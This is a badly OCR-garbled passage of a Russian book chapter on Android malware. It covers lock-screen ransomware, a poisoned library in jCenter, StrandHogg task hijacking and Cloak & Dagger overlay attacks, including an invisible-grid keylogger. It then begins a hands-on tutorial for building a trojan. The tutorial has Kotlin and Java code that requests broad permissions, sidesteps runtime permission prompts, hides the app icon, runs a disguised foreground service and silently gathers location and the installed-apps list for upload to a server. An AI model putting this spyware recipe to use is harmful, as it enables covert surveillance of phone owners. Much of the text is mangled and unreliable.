HUKH GJIOKMpOBaHMA YCTpOWCTBa mosnb3oBaTensd. COTPYOHHKHM OTAeNa HCCIeNOBaHHM
BPEAOHOCHBIX NpHaoxeHuH Microsoft 06Hapy>KHIH HOBYIO pa3sHOBHAHOCTBH 3TOTO 3710-
BpeJa, KOTopas Hay4uiach ONOKHMpOBAaTh YCTPOMCTBO MOJIB30OBATENsl, IOKa3bIBast Ha HEM
coobeHre o BhIKyne 6e3 UCIONb30BaHUA SKPaHHBIX OBEpJieeB, BO3MOXHOCTH KOTOPBIX
Google cepbe3Ho orpaHd4mIa B MocieAHUX Bepcusax Android.

BmecTo oBepiiest 3710Bpel MCMOB3YeT TaK Ha3bIBa€MOE IOJHOIKPAHHOE YBEIOMIIEHHE,
UCIONB3yeMOe JISTHTUMHBIM cOGTOM U1 NoKas3a 3KkpaHa 3BoHKa. KpoMme Tekcta (M apy-
TMX CTaHAApTHBIX aTpHOYTOB) Takoe YBEAOMJIEHHE TalK)Ke COAEPHKHT CChUIKY Ha aKTHB-
HOCTb (9KpaH MpHIOXKEHH), KOTOpas M OyAeT Moka3aHa, Koraa yBeJOMJICHHE MOSBHUTCS
B cucteme (puc. 13.3).

OIIHaKO O}ll/lHO‘-leIﬁ IOKa3 COO6IIICHPI5[ O BBIKYIIC ObLI 6CCHOJIC3€H, T. K. TIOJIb30Ba-
TeNb CMOI OBl HakaTh KHOMKY «IOMOH» WIM «Ha3al» M MpOCTO 3akpbiTh ero. Ilo-
3TOMY 3JIOBpE€A HCIIONB3YET €lI€ OAHWH IPpHEM: MNEpE3amyCK aKTUBHOCTH B METOAC
onUserLeaveHint ().

MeTO}I onUserLeaveHint () — 3TO KOJ'UIGCK, KOTOpLIﬁ CHCTEMA BBI3BIBACT MNEPEA TEM, KaK
AKTHBHOCTH HCYE3HET C DKpaHa. HO3TOMy nepe3anmyCck akTUBHOCTH B 3TOM METOAE IpH-
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BOAMUT K TOMY, YTO MOJIb30BaTeNIb MPOCTO HE MOXKET MOKHUHYTh 9KpaH ¢ COOOLIEHHEM
0 BBIKyIEe (CTOUT OTMETHTh, UTO B COBpeMeHHBIX Bepcusax Android stor mpueM He pabo-
TaeT, T. K. CHCTEMA [epe3aIrycKaeT akTUBHOCTb He cpasy).

Puc. 13.3. BeaymHoe coobLienune Bbimoratens

CaMm skpaH ¢ cooOLIEHHUEM O BBIKYTIE MTPU 3TOM MpPECTaBsAeT coboii oObIyHbI WebView
¢ coobLIeHHeM OT SKOOBI MOMHLIMM O HaHAEHHBIX HAa YCTPOHCTBE KOMMPOMETHPYIOLINX
nons3oBaTens Matepuanax. B koze Takke 6buia HalileHa OTK/TIOYEHHAss MOJIEJNTb CHCTEMBI
MalIMHHOTO 00y4eHHs, KOTOopas, CKOpee BCero, JO/DKHa Obl1a UCTIONB30BAThCS IS MOA-
TOHKH 3KpaHa cOOOLIEHHs NOA pa3pelieHHe SKpaHa yCTPOHCTBa.

Eme onHa MHTEpecHas 0cOOEHHOCTD 3/10Bpea — crnocod mupoBaHUS KOAa, a TOYHEe,
cnocob ckpbITHs MeToaoB uMdpoBanus koga. B ocHoBHoM DEX-daiine mmndposansmu-
Ka €cTh KJIacc, coJepaliuit MeToabl 1 IMPpOBaHUA U pacliMPOBKH OCTaJIbHBIX Yac-
Tei npunoxxkeHus. Ha BXox 3T MeToasl MOMyHaloT CTPOKY (KOTOpas Ha TMepBblil B3rIAA
Ka)XEeTCS KJII0YOM LIM(POBaHHA), a Ha BBIXOZE MOYEMY-TO BO3BpAILAIOT OOBEKT KJacca
Intent (Takue o6wvekThl B Android ucnone3ytoTcs s OTNpPaBKU COOOLIEHUH APYrHM
TIPUIOXKEHHUAM).
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Ha camoMm nene BXomHas cTpoka — 3TO MPOCTO MYCOp, @ CaM HHTEHT COJEPXHMT IoJe
action, B KOTOPOM KaK pa3 M COAEPXKHUTCS afipec paclii(pOBaHHBIX JAHHBIX.

BpeaoHocHbie 6ubnuorexu

BpenoHOCHBIMH ObIBAlOT HE TOJBKO NPHIOKEHHS, HO U OHOIMOTEKH. ABTOp CTaThH
A Confusing Dependency (https://blog.autsoft.hu/a-confusing-dependency/) pacckasan
HOYYHTENbHYIO HCTOPHIO O TOM, KaK MOXKHO HE3aMETHO 11 caMoro cebs caenatb cobeT-
BEHHOE MPHJIOKEHHE BPEIOHOCHBIM.

Bce Hauanochb ¢ TOro, YTo aBTOp PpelIWT MNONKIIOYHTH K TpoekTy Oubnnoreky
AndroidAudioRecorder (https://github.com/adrielcafe/AndroidAudioRecorder) u 06-
HAapy>XWJ, 4YTO cpa3dy MOCJie cTapTa MpPWIOKEHHE NaJaeT, BbIOpachiBas HCKIIOYECHHE
java.lang.SecurityException: Permission denied (missing INTERNET permission?). DTO 03-
Ha4vacT, YTO NMPUJIOKEHUE HE MOXKET NOJYYHTb AOCTYIl K HHTepHeTy, T. K. OTCYTCTBYET
HeoO0X0auMoe [UIsi 3TOTO pa3pellieHHE.

Beixoaut, 6ubnuoTeke Ajd 3anucd 3ByKa ¢ MUKpodoHa mo4ueMy-To HyxeH MHTepHeT?
ABTOp B3MJISIHYJ B KO IIPUJIOXKEHHS U HALlesl B HEM METOJI, OTChUIAIOIIMI Ha yJaJl€HHbIA
cepBep MHPOPMALIMIO O MOJENH U MPOM3BOAUTENE cMapTdoHa. B monbiTkax pazobparscs,
3a4yeM pa3paboTyMKy MomyaspHOH OUOIMOTEKH BCTaBAATh B HEE TaKOH MPOTUBOPEUNBLIH
KOJI, OH MOMbITAICA HaWTH TaKOM ke Y4acTOK koja B oHLHATLHOM PEMO3UTOPUH OHO-
JIHOTEKHU W He Haien ero (puc. 13.4).

Puc. 13.4. Kycok 3anoBpeaHoro koaa

[IprunHa okaszanace B cienyromeM. CyuiecTByeT peno3uTopuii Java-naketos jCenter
(https://bintray.com/bintray/jcenter), npuBs3aHHbIA K cUcTeMe AUCTpuOyunu Bintray
(https://bintray.com/). Android Studio ucnons3yer jCenter kak AepoNTOBBIH peno3uTo-
pUi [UIS HOBBIX MPOEKTOB: OH Y)K€ BKJIIOYEH B CIIHCOK PEMNO3UTOPUEB B build.gradle
Hapsany c penosuroprueM Google. OxHako MHOrve pa3paboTYMKH MPEANOYHUTAIOT pa3Me-
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wath cBox 6ubnmoTeku B penozutopu JitPack (https://jitpack.io/), kotopblit ymeer aB-
TOMaTHYECKH F€HEPUPOBATh M BHIKJIAJBIBATh B peno3uTopuii 6ubnmoreku uz GitHub (3To
yn00HO U NpoCTO).

bubmmoreka AndroidAudioRecorder Taioke Gbina BoulokeHa B JitPack, Tak yro aBTOp
CTaTbU Mepeq ee ucnonbzoBaHueM ao6aBun JitPack B build.gradle. Ho oka3amock, 4To
B jCenter Toxxe OblIa BhUIOXKEHA 3Ta OUOIMOTEKA C BHEAPEHHBIM B Hee 3JI0BPEIHBIM KO-
oM. A T. k. jCenter B CIIUCKe PEMO3UTOPUEB UIET MEPBBIM, CUCTEMa COOPKH B3sia OHO-
JIMOTEKY MMEHHO M3 Hero, a He u3 JitPack.

OnuH M3 crnocoboB peuieHus 3Tod mpobneMsl — pa3MmecTHTh jCenter B KOHLIE CITHCKa
pENO3UTOPHUEB B build.gradle.

Ya3zsumoctm, ucnonb3lyembie TposHamu

OcHOBHas LEb CYLIECTBOBAHMSA 3/I0BPEIHBIX MPUIOKEHHH — H3BIEYEHHE MPUOBLIH.
Kak Mbl BBIACHWIM M3 NpeablayLIEro pasfena, NpUObUIs MOXHO MOJYyYHTh Pa3sHBIMH M
MOPOH 04eHb HEOOBIYHBIMU CITOCOGAMH:

O OrnpaBka SMS Ha kopoTkue HoMepa. Ilepectano ObITH akTyaJbHBIM C BBITYCKOM
Android 4.2, koTopas TpeOyeT ABHOTrO pa3peLleHHs Ha YKa3aHHOe AeHCTBHe.

0O ®uwmHr ¢ noaMeHoH 6aHKOBCKOTo MPUWIOXKeHUs Wi BeO-calita 6aHka. [lepBas 3ana-
4a MOXeT ObITh BBINOJIHEHA ¢ noMoLIbio ya3BuMoctd StrandHogg (paccMatpuBaertcs
Jajiee) ¥ CKpBITOro noiyueHus npas cepBuca Accessibility ¢ momomsto araku Cloak
& Dagger (paccMaTpuBaeTcs jaiee).

a Kpaxca KOH(bHI[eHl[HaIlBHbIX JAHHBIX, BKJIIOYas JIOTHHBI H IApOJIK AJI1 BXOJda B pas-
JINYHBIE CCPBHUCHI, NMEPENMUCKH, MUCbMA, MECTOIMNOJIOKCHHUE U T. O. MoxeTt ucnons3o-
BATbhCA IJIA HOCJ]eIlyIOIIleﬁ NpOAAKH HIIN BBINIOJTHEHHUA (l)I/IHIHHF-aTaK.

O Tpeboanue BbIKymna 3a paciMpoBKY JaHHBIX WIH pa36IOKHMpPOBKY ycTpoicTBa. bes
npas root 11 WXGPOBaHHUA AOCTYMHO TOJIBKO BHELIHEE XPaHWIHILE JaHHBIX, B KOTO-
poM, kpoMe (oTorpaduii, HHUero BaXKHOro He XpaHuTcs. brokupoBka foctyna k ycr-
pOHCTBY MOXKET OCYLUECTBIATBECA JTHOO C MOMOLIBIO MPaB aAMHHUCTPATOPa, KOTOpbIE
MO>XHO BBIHYIHUTb MOJIB30BaTENs AaTh MOJ Pa3HbIMHM MpeAoraMH, JHOO ¢ HCMOMB30-
BaHHEM Pa3IMYHBIX NIPHEMOB, TAKHUX KakK, HalpUMep, MOCTOAHHBIH BO3BPAT MOJIb30Ba-
TeJIs Ha JOMAaLIHUH dkpaH 6e3 BO3MOXHOCTH MOJTHOLIEHHO HCIOJIb30BaTh CMapTQOH.

B caengyrommx pazaenax Mel mogpoOHO pacCCMOTPHUM MHOTHE M3 9THX NPHEMOB.

StrandHogg — ys3BUMOCTb C NOAMEHOU NPUNOXKEHUA

B Android y akTuBHOCTEH (3KpaHOB MPUIIOKEHUH) €CTh uiar taskAffinity. OH MO3BOJAET
yKa3aTh UM 3aJa4H (task), B CTEK aKTHBHOCTEH KOTOPOH MonaaeT yKa3aHHOE MpUIIoxKe-
HUe. 3TO HyXHO A Gojiee TOHKOro yrpaBieHHs CTeKaMH 0OpaTHBIX nmepexonoB (koraa
MOJIB30BaTENb HAXHMAET KHOMNKY «Ha3aa»). Ho ectb oaHa mpobneMa: mo yMoOI4aHHIO
3HaY€HME taskAffinity pABHO HMEHH MAaKETa MPUIOKEHHA, a 3TO 3HAYHUT, YTO B pAAE CIIy-
4aeB MO)XHO HE3aMETHO BCYHYThb aKTUBHOCTh CBOETO IPWIOMKEHHS B CTEK aKTHUBHOCTEH
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Yy>KOro. A ecliy elle M yKa3aTh ¢uiar allowTaskReparenting="true", 3Ty aKTHBHOCTb MOX-
HO MepeBUHYTh Ha CaMblii BEPX M MpPH CIEAYIOIEM HaXaTHH Ha 3HAYOK LIEJICBOrO IMpH-
JIOXKEHUS OHa MOSBUTCH Ha 3KpaHe NnepBoi (T. €. OyeT HaXOAUTbCSA Ha BEPLIMHE CTEKa).

OKCIuTyaTauus yS3BUMOCTH TpeOyeT, 4TOObI U 370BpeIHOE MPHIOKEHHUE, U NPHIOKEHHE-
xepTBa OblM yxe 3amyiieHbl. [locnenoBaTenbHOCTE ASHCTBUH MOJb30BATENA JODKHA
OBITH TaKO#: OH 3aITyCKaeT MPUJIOXKEHUE-KEPTBY, Bo3BpalaeTca Ha PaGouwuii cTon, 3aTem
3aIyCKaeT 3/I0BPEAHOE MpPHUJIOKEHHE, 3aTeM CHOBA 3aITyCKaeT INpPWIOKEHHE-KEPTBY.
B 3TOT MOMEHT BMecTO X0M0AHOro 3amycka Android akTHBU3HUpPYET CaMyIO «BEPXHIOIO)
aKTHBHOCTB B CTEKE, a €10 OKa3bIBAETCS aKTUBHOCTD 3JIOBPEHOTO MPHIOKEHHS.

Google oTka3bIBaeTCA UCMPABIATh YA3BUMOCTh Ha NMPOTHKEHUH HECKONIBKHX jeT. [TpocTo
NIOTOMY, YTO 3TO Tak Ha3biBaeMblit design flaw, T. e. omnbka NpoeKTHPOBaHHsA, HCTIPaB-
JleHHe KOTopoii cinoMaet cymecTByrouuit copt. Ho ects H KyctapHoe peenue. Jlocra-
TOYHO YKa3aTh taskAffinity="" B 3JIEMEHTE Application, H BCE AKTUBHOCTH MPHIOXKCHHA
CTaHYT HeYA3BHUMBI K JaHHOM aTake.

Cloak & Dagger

Cloak & Dagger — uenslii knacc atak Ha Android, ocylecTBISeMbIX C HCTIOIB30BAHHEM
nerutuMHBIX API cucteMsl. Bce OHM 3KCILTyaTHpPYIOT pa3pell€HHe SYSTEM ALERT WINDOW
AN oOMaHa MoNb30BaTelNsd U MONy4YeHHs JOMOMHUTENBHBIX NPaB B CHCTEME, HO (aKTH4Ye-
CKM GOMBUIMHCTBO aTak BKJIIOYAIOT B ce0s APYr Apyra U yHHKalIbHBIX OCTAe€TCs BCEro
nge: Clickjacking u Invisible Grid Attack.

Araka Clickjacking o6MaHOM 3acTaBiisieT MONB30BATENS aKTUBUPOBATh cepBHC Accessibi-
lity, oTkpbIBalOIIMi NpakTHYEeCKH Oe3rpaHUYHBIE BO3MOXKHOCTH B CHCTEME (MOXKHO IMpo-
rpaMMHO HaXXMMaTh Ha JTI00bIe d/IeMeHThl HHTepdeiica). UTo6r! 3TO caenath, B Xole ara-
KU HCTONB3YyeTcs pa3pelieHHe SYSTEM ALERT WINDOW, KOTOpO€ IMO3BOJIAET BBIBOAHTH dJje-
MeHThl MHTepdelica NoBepx APYrUX MpPHIIOKEHHH, T. €. peai30BaTh TaKHe BEIIH, Kak
TU1aBaloOIHe OKHA, MEHIO, NIAaHENH YTIPaBJIeHHUS U T. A.

Co3parenu BUPYCOB yXe JaBHO CMEKHYJIH, YTO 3Ty BO3MOXHOCTb MOXXHO HCNOJIb30BaTh
IUTS MePeKPBITHS TEKYLIEro OKHAa Ha 3KpaHe U 06MaHa Mmonb30BaTens, IO3TOMY ¢ BepcHel
Android 5 Google BbikaTHIa 3alUUTy, KOTOpas NMPOBEPSET, He ObLI JIM MEPEKPBIT KAaKOH-
b0 omacHbIi Ul BKJIIOYEHMS dJIEMEHT MHTepdeiica OBepieeM, U OTKa3bIBaICA €ro
BKJIIOYMTH, eclid 3TO Tak. [lostomy Cloak & Dagger BMecTo omHOro oBeplies Ha BeCh
9KpaH cO3JaeT HECKOIbKO HEOOBIIMX U BBIKIABIBAET UX BOKPYT dJIEMEHTa YNpaBJICHHS,
TakK YTO B pe3y/bTaTe 3alluTa He cpabarbiBaeT (puc. 13.5).

Invisible Grid Attack no3Bonser peanu3oBaTh keinorrep, KOTOpelii OyneT nepexBaThl-
BaTh JIIOOble HaXaTWUs Ha BHUPTyalbHOM kiaBuatype. Kak M mpeppinymias artaka, OoH
UCIIONB3YeT pa3pelieHHe SYSTEM ALERT WINDOW, HO JeNIaeT 3TO Kyda 6oliee W3OIpPEeHHBIM
crocobom. i

Yr1oObl MOHATH 3Ty aTaKy, HY>KHO MOHATh, Kak paboTaeT SYSTEM ALERT WINDOW. D10 API,
KOTOPBI# MO3BOJISET CO3AaTh Ipaduyeckoe OKHO MOBEPX APYroro okHa (OBepliei) ¢ BO3-
MOXXHOCTBIO TepexBaTa HakaTui. OKkHO MoxeT ObIThb MPO3payHbIM WM 3alOJIHEHHBIM
LIBETOM U 3JIEMEHTaMH HHTepdeiica, HO ONHOBPEMEHHO MOXKET JIMOO MepexBaThiBaTh Ha-
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XKaTHs MOJIb30BaTeNs, HE MpPOMycKas X HWKe, MO0 MpoImycKaTh, He nepexBarbiBas. To
€CThb Hellb3sl MPOCTO HApUCOBaTh MPO3payuHblii OBepiel MOBepX KJIaBHATYpPhl H «IPOCIY-
waTh» Bce HaxkaTus. CucreMa paspeuiaeT MO0 MONMHOCTBIO MEPEXBATHTh HAXKATHSA, YTO-
OBl OHM He JOLIH [0 peabHOM KJIaBHaTyphl, THO0 NPOMYCTHTh X TMOTHOCTBIO Ge3 BO3-
MO>KHOCTH y3HaTb, KyJa KOHKPETHO HaXaJl MOJIb30BaTeb.

Puc. 13.5. O6xopa 3awnThl Ha BrnoueHne Accessablility Service ¢ nomowblo 3—4 osepnees

Ho ecte oauH HroaHc: gaxe mpomyckas HaxaTHA CKBO3b cebs, oBepeneit no3Boiser
y3HaTh, HaXaJl JM Mojb30BaTeNb B 00nacTh oBepiaes WIM 3a ero npexensl (¢nar
FLAG WINDOW_IS_OBSCURED). B MTOre MOXHO cO3[1aTh C/IOEHBIH MUPOT U3 OBEPINIEEB Pa3HOTO
pazMepa, pa3METHUTb €ro MoBEpX KJIAaBHUATyphl U ONMpeAenuTh (aKT HOKATHA Ha Ty WIH
MHYIO KHOIKY MyTeM MPOCMOTpa COCTOsHUA ¢uiaroB Bcex oBepieeB. JomycTHM, KiiaBHa-
Typa COCTOMT M3 ABYyX KiaBuil: A ¥ B. Co3naB nBa oBepres, OIUH U3 KOTOPBIX MEpeKphI-
BaeT A, a BTopoi B, MOXHO TOYHO y3HaTh, KyJa Ha)kaJl [OJIb30BaTelNb: €CJTH MUMO OBEp-
Jes A — 3Ha4uT, Ha KIaBHUry B, ecnu MmuMo oBepries B — Ha wiaBumy A.

[Tpo6rema ¢ Cloak & Dagger cocToMT B TOM, YTO 3TO HeXOCTaTOK au3aiiHa Android, a He
KJI1accUyecKas yA3BHMOCTb. JTO 3HA4MT, 4YTo, Kak W mpobnemy StrandHogg, ee HeBo3-
MOXXHO HCMpaBUTb, MOXHO JIMIIb MHHMMHM3UpOBaTh pHcKd. Google caenana 3to B He-
CKOJIBKO 1LIaroB:

1. B Google Play Tenepp ectb Oenblii CIIUCOK MPHIOKEHHI, KOTOPbIE MOTYT MOTYYHTh
paspelleHHe SYSTEM ALERT WINDOW 6€3 HeoOXOAMMOCTH ero 3anpaluvBaTh (paHblie Bce
npunoxeHus u3 Google Play nomyyanu ero aBTomatuueck).

2. Haumnas ¢ Android 8 oBepien He MOryT nepeKkpbIBaTh CTPOKY COCTOSIHHMSA, a CaM
oBepJIel MOXKHO OBICTPO OTK/IIOYMTH B MaHEIH yBEJOMIIEHHH. DTO cenaHo ans 6ops-
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Obl C BBHIMOraTeNIIMM, MOKa3bIBAIOLIMMH MOBEPX 3KpaHa oOBeplied, KOTOpbIA Hesb3s
HUKaKUM 00pa3oM OTKIIOYMTb.

3. Haumnas ¢ Android 10 npunoxeHnus, ycraHoBneHHsle He U3 Google Play, nuuatorcs
pa3pelieHHs Ha Moka3 oBesieeB yepe3 30 ceKyHA mocse Toro, Kak NMpuioxeHue oyaer
3aBepelleH0 WM nepe3anyuieHo. [Ipunoxenus u3z Google Play nuwarcs storo pas-
peLIeHUs Nociie nepe3arpy3Ku.

4. B Hactpoiikax Android Teneps ecTh ONMLKSA, MOJIHOCTHIO 3aNpPEIAIOLLAs UCIOJIB30BATh
OBepJIeH MOBEPX OKHAa HACTPOEK (M0 YMOITYAaHUIO OTKITIOYEHA).

TTepexpuiTue Avanoroe 3anpocos paspeleHuis

Pa3pemieHne SYSTEM ALERT WINDOW MOXXHO HCMOBb30BaTh no-apyromy. Hanpumep, uto6si
HapHCOBaTh MOBEPX CHCTEMHOTO OKHA 3alpoca MOJTHOMOYHIA, HCIONb3yeMOTro MpHIIoXKe-
HHMSAMH 111 3ampoca MpaB Ha TO WM HHOe AelCTBHe, cBoe cOOCTBEHHOE OKHO. B mocnen-
HHUH pa3 3Ta yA3BUMOCTh Oblna onucaHa B crathe «IlogmenseM Runtime permissions
B Android» (https://habr.com/ru/post/S31668/), ee aBTop naxe Hanucan OGUOMHOTEKY,
MO3BOJIAIOLLYIO CAENATh 3TO €3 JIMIIHUX XJIOMNOT.

Google B Kkypce 3TOM mpoGieMbl, W AaXe «UCIpaBUlIa» €€ cpady INpU MOSBIECHUH
B Android cuctems! 3anpoca paspewenuii (Android 6.0), Ho yxe B Bepcuu Android 7.0
OTKa3anach OT Hee M3-3a MHOTOYMCIICHHBIX anob monb3oBateneii codpra ¢ dyHKUMEH
SYSTEM ALERT WINDOW (9KpaHHbIE (HJIBTPBI, CUCTEMBI >KECTOBOH HaBUralLMH, pa3MYHbIE
BCIUTBIBAIOLIME MEHIO M T. 1.). CHcTeMa npocTo GJIOKMpoBaia BOZMOXKHOCTh 1aTh paspe-
IIEHHE, €CJTN Ha SKpaHe HaXOJWJICs OBEpIICH.
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TTuwem BpenoHOCHYHO Nporpammy
ana Android

Hrak, Hawa 3anaya — pazobpatbes, kKak paboOTalOT COBpEMEHHbIE 3JIOBpPEIHbIE MPHUIIO-
KeHHs. A Jyquui cnoco6 3To cAenaTh — CO3AaTh TAKOE MPWIOKEHHE CAMOCTOATENBHO.
Kak n 60eBoii 310Bpe, Halll IpUMeEp MPH HKENaHUH CMOXKET HabIIOAaTh 3a LENEBbIM yCT-
pOHCTBOM M nepenaBaTh HHPOpMaLIMIO O HEM Ha cepBep.

BosmoxHocTH OyayT cnemyrouye:

c60p HHDOpMaLHU O MECTOMOJIOKEHHH YCTPOHCTRA,;
noJry4eHHe CMUCKa YCTaHOBJIEHHBIX MPWIOXKEHUH;
nonydenue SMS;

3alruCh ayaHo;

QouaooaQ

CbEMKa 3aHeH Wik ppOHTaILHOH KaMepoH.

Bce a0 mpunoxkeHue GyAeT OTNpaBiaATh Ha YAAJEHHbIH cepBep, rie Mbl CMOXKEM Ipo-
aHaU3UPOBATh Pe3Y/IbTAThl €ro paboThI.

CospemeHHble Android-cmapTdoHbl MoryT H6nokuposaTte paboTty TposHa B ¢hoHe unu 3a-
npeTuTL €My CKpbiBaTb CBOIO UKOHKY. PewueHne atux npobnem MoxeT GbiTb BECbMA CIOX-
HbIM, NOTOMY 4YTO NPOM3BOAUTENWU UCNOMBL3YIOT Pa3NnyHbIE HECOBMECTUMbIE Mexay cobown
MexaHu3Mbl aHeprocbepexeHnUs U 3awmTbl yCTPOMCTBA.

Kapkac

[lo MOHATHBIM NpPUYMHAM S HE CMOrY NPHBECTH MOMHBIA KO MPUWIOXKEHHUA B KHHTrE,
MOITOMY HEKOTOpbIE 3ala4i BaM MPHUIETCA BBHIMOJIHUTD CaMOCTOATENbHO. [l1s 3TOro mo-
TpeOyloTCs Koe-Kakue 3HaHUs B pa3paboTke npuiokeHuii ans Android.

Ha nepBoM sTane 3afava cnegyrouas: CO3AaTh NPUIOKEHHE C MTyCTHIM (WM npocTo 6e3-
obuaHeiM) HHTepdericom. Cpasy mocie 3amycka MPHIOKEHHE CKPOET CBOK HKOHKY,
3allyCTUT CEPBUC H 3aBEpLIMTCS (CEpPBUC MpU 3ToM OyaeT mpomoipkarb paborars). s
Hayasla CO3JalMM HOBOE MPUIIOKEHHUE, YKa3aB B MaHUGECTE ClieyIoLIMe pa3pelleHu:
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xmi

<uses-permission android:name="android.permission.ACCESS COARRSE LOCATION"/>
<uses-permission android:name="android.permission.ACCESS FINE LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD AUDIO" />
<uses-permission android:name="android.permission.RECEIVE BOOT COMPLETED"/>
<uses-permission android:name="android.permission.READ PHONE STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING CALLS" />
<uses-permission android:name="android.permission.READ CONTACTS" />
<uses-permission android:name="android.permission.READ SMS" />

B build.gradle yKaXHUTe compileSdkVersion 22 M targetSdkVersion 22. Tak MbI n30aBUM
NPHIOKEHHE OT HEOOXOAUMOCTH 3aNpalliBaTh Pa3pelieHUs BO BpeMs paboTsbl. 22 — 310
Android 5.1, obs3arensHbli 3ampoc paspelueHuit nosswica B 23 — Android 6.0, HoO
paborate npunoxeHue Oymer B o000 BepcHH, C TeM HCKIIOYEHHEM, YTO HAuMHas
¢ Android 10 oHo Gyner 3anpamuBaTh Bce pa3pellueHHs cpa3y 1ocje YCTaHOBKH.

Cozpagum myctoii Service. B MeTonm onStartCommand cepBHCa J00aBUM cCleAyrOLIHE
CTPOKH:

[ java

override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
val notificationIntent = Intent (this, MainActivity::class.Jjava)
val pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, 0)
val notification = NotificationCompat.Builder(this, "default")
.setContentTitle (notificationTitle)
.setContentText (input)
.setSmallIcon(R.drawable.ic_icon)
.setContentIntent (pendingIntent)
Jbuild()

startForeground(l, notification)

return START NOT STICKY

310 Tak HaszbiBaeMblii foreground service. B Hem Haw 3noBpen GyaeT BBIMOMHATE OCHOB-
Hyto paboty. Foreground service OyneT BUIeH B cHCTEME Kak MOCTOSHHOE YBEIOMJIEHHE,
U C 3THM MaJIo 4TO MOXKHO caenats — Google 3anpeTnnia ucnosib3oBaHHE GOHOBBIX He-
BHUIOUMBIX cepBUCOB B Android 8. EAMHCTBEHHBIH TPIOK, KOTOPBIH MBI MOXKEM HpHMe-
HHTB, YTOOBI KaK-TO CKPBITh Hallle IPUCYTCTBHE, — CHEIaTh UKOHKY (R.drawable.ic_icon)
MpO3pavyHoi.

Taroke HaMm HyxkHa Activity. Tak kak 37m0oBpen OyaeT BBIMOJMHATH BCIO paboTy BHYTpH
CepBHCa, aKTUBHOCTh HYXKHa HaM IPOCTO I/ TOro, YTOOBI 3aIlyCTHTh CEPBHC. DTO MOX-
HO cIIeNaTh C IOMOILBIO TAKOro Koja:
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java

void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState)

// 3anyckaem cepBuC
startService (new Intent(this, MainService.class));

// OrkyouaeM Activity

ComponentName cn = new ComponentName ("com.example.app",
"com.example.app.MainActivity");

pm.setComponentEnabledSetting (cn,
PackageManager .COMPONENT ENABLED STATE DISABLED, PackageManager.DONT KILL APP);

OTOT KOA 3aIMyCTHT CEPBUC Cpasy Moce 3amycka MPHIOKEHHUS M OTKIIOYUT aKTUBHOCTb.
[Mo60o4HBIM 3¢deKTOM MocaeqHEro AEHCTBUA CTAHET 3aBepIIEHHE IPUIOKEHHS U UCUE3-
HOBEHHE UKOHKM M3 nayHuepa. CepBuc mpomo/pkuT pabory. Hakoneu, no6aBuM onmca-
HUe cepBUca U Activity B MaHH(ecT (30ech M Aanee Halle NpUIOKeHHe OyAeT Ha3bIBaTh-
CA com.example.app):

xmi

<activity
android:name="com.example.app.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<service
android:name="com.example.app.MainService"
android:enabled="true"
android:exported="false">

</service>

UHpopmauma o mectononoxeHum

Tenepb Mbl DOJDKHBI JOOAaBUTH B CEPBUC KO, KOTOPBIH OyneT coOHMpaTh HHTEpECYIOLLYIO
Hac uHdopmaimio. Haunem ¢ onpenenenus MecrononoxeHus. B Android ects Heckosb-
KO CIOCOOO0B MONyYHTh TEKYIIHe KOOpAMHATHI ycTpoiicTBa: GPS, mo coTOBBIM BhILIKAM,
no Wi-Fi-poytepaM. U ¢ kaXIsIM U3 HUX MOXKHO paboTaTh AByMs cnocobamu: au6o mno-
MPOCHTh CHCTEMY OIpeNeNUTh TEKyllee MECTONOJIOXKEHHEe M BbI3BaTh MO OKOHYaHUH
orepaLuH Hau Koynoak, 6o cnpocuts OC 0 TOM, Kakue KOOpAMHATHI ObLTH MOTy4eHbI
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B NOC/NEAHHUH pa3 (HanpuMep, B pe3yJIbTaTe 3allPOCOB Ha ONpeeIeHHE MECTOMONOXKEHUS
OT JIPYTHX MPHIOKEHHH).

B HamewMm ciryyae BTopoi crnoco6 HamHoro yao6Hee. OH GBICTpBIH, aGCOMOTHO HezaMe-
TeH AJA Nosb30BaTens (He MPUBOAMT K MOABJICHUIO HKOHKU CITyTHHKA B CTPOKE COCTOS-
HMS) M HE pacXodyeT pecypchl akkyMynsropa. Kpome Toro, ero oueHb mpocTo HCMofb-
30BaTh!

| java

Location getLastLocation (Context context) {

LocationManager 1lManager = (LocationManager)
context.getSystemService(Context.LOCATION_SERVICE);

android.location.Location locationGPS =
1Manager.getLastKnownLocation (LocationManager.GPS_PROVIDER) ;

android.location.Location locationNet =
1Manager.getLastKnownLocation (LocationManager.NETWORK PROVIDER) ;

long GPSLocationTime = 0;
if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

long NetLocationTime = 0;
if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

Location loc;

if ( 0 < GPSLocationTime - NetLocationTime ) {
loc = locationGPS;

} else {
loc = locationNet;

if (loc !'= null) {
return loc;

} else {
return null;

JlaHHas QyHKUMA CNpaLIMBAaeT CHCTEMY O MOCJIEJHHUX KOOPAMHATAX, MOTYYEHHBIX C MO-
MOLUBIO OMpEIESCHUA MECTOMOJIOKEHHS MO COTOBbIM BbikaM W no GPS, 3arem Geper
caMble CBEXHE JaHHBbIE M Bo3BpailaeT ux B ¢opme obbekra Location. [{anee MoxxHO u3-
BJIeYb LIMPOTY M JOJTOTY M 3amMcaTh UX B ¢ailyl BHYTpH MPHBATHOTO KAaTalora Hallero
NIPHJIOKEHHA:

I java

Location loc = getLastKnownLocation (context)
String locationFile = context.getApplicationInfo().dataDir + "/location"
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try {
OutputStreamWriter outputStreamWriter = new
OutputStreamWriter (context.openFileOutput (locationFile, Context.MODE PRIVATE));

outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
outputStreamWriter.close();

}
catch (IOException e) {}

Korna npuper BpeMs OTNpaBiATh JaHHbIE Ha CEpBEP, Mbl MPOCTO OTAAAMM €My 3TOT U
apyrue ¢ainel.

CNUCOK YCTGHOBNEHHBIX NPUNOXEHUA

HOJ]y‘-lHT b CITUCOK YCTAHOBJICHHBIX HpHJIO)KCHHﬁ €LUe npouie:

| java

void dumpApps (Context context) {
String appsFile = context.getApplicationInfo().dataDir + "/apps"

final PackageManager pm = context.getPackageManager();

List<ApplicationInfo> packages =
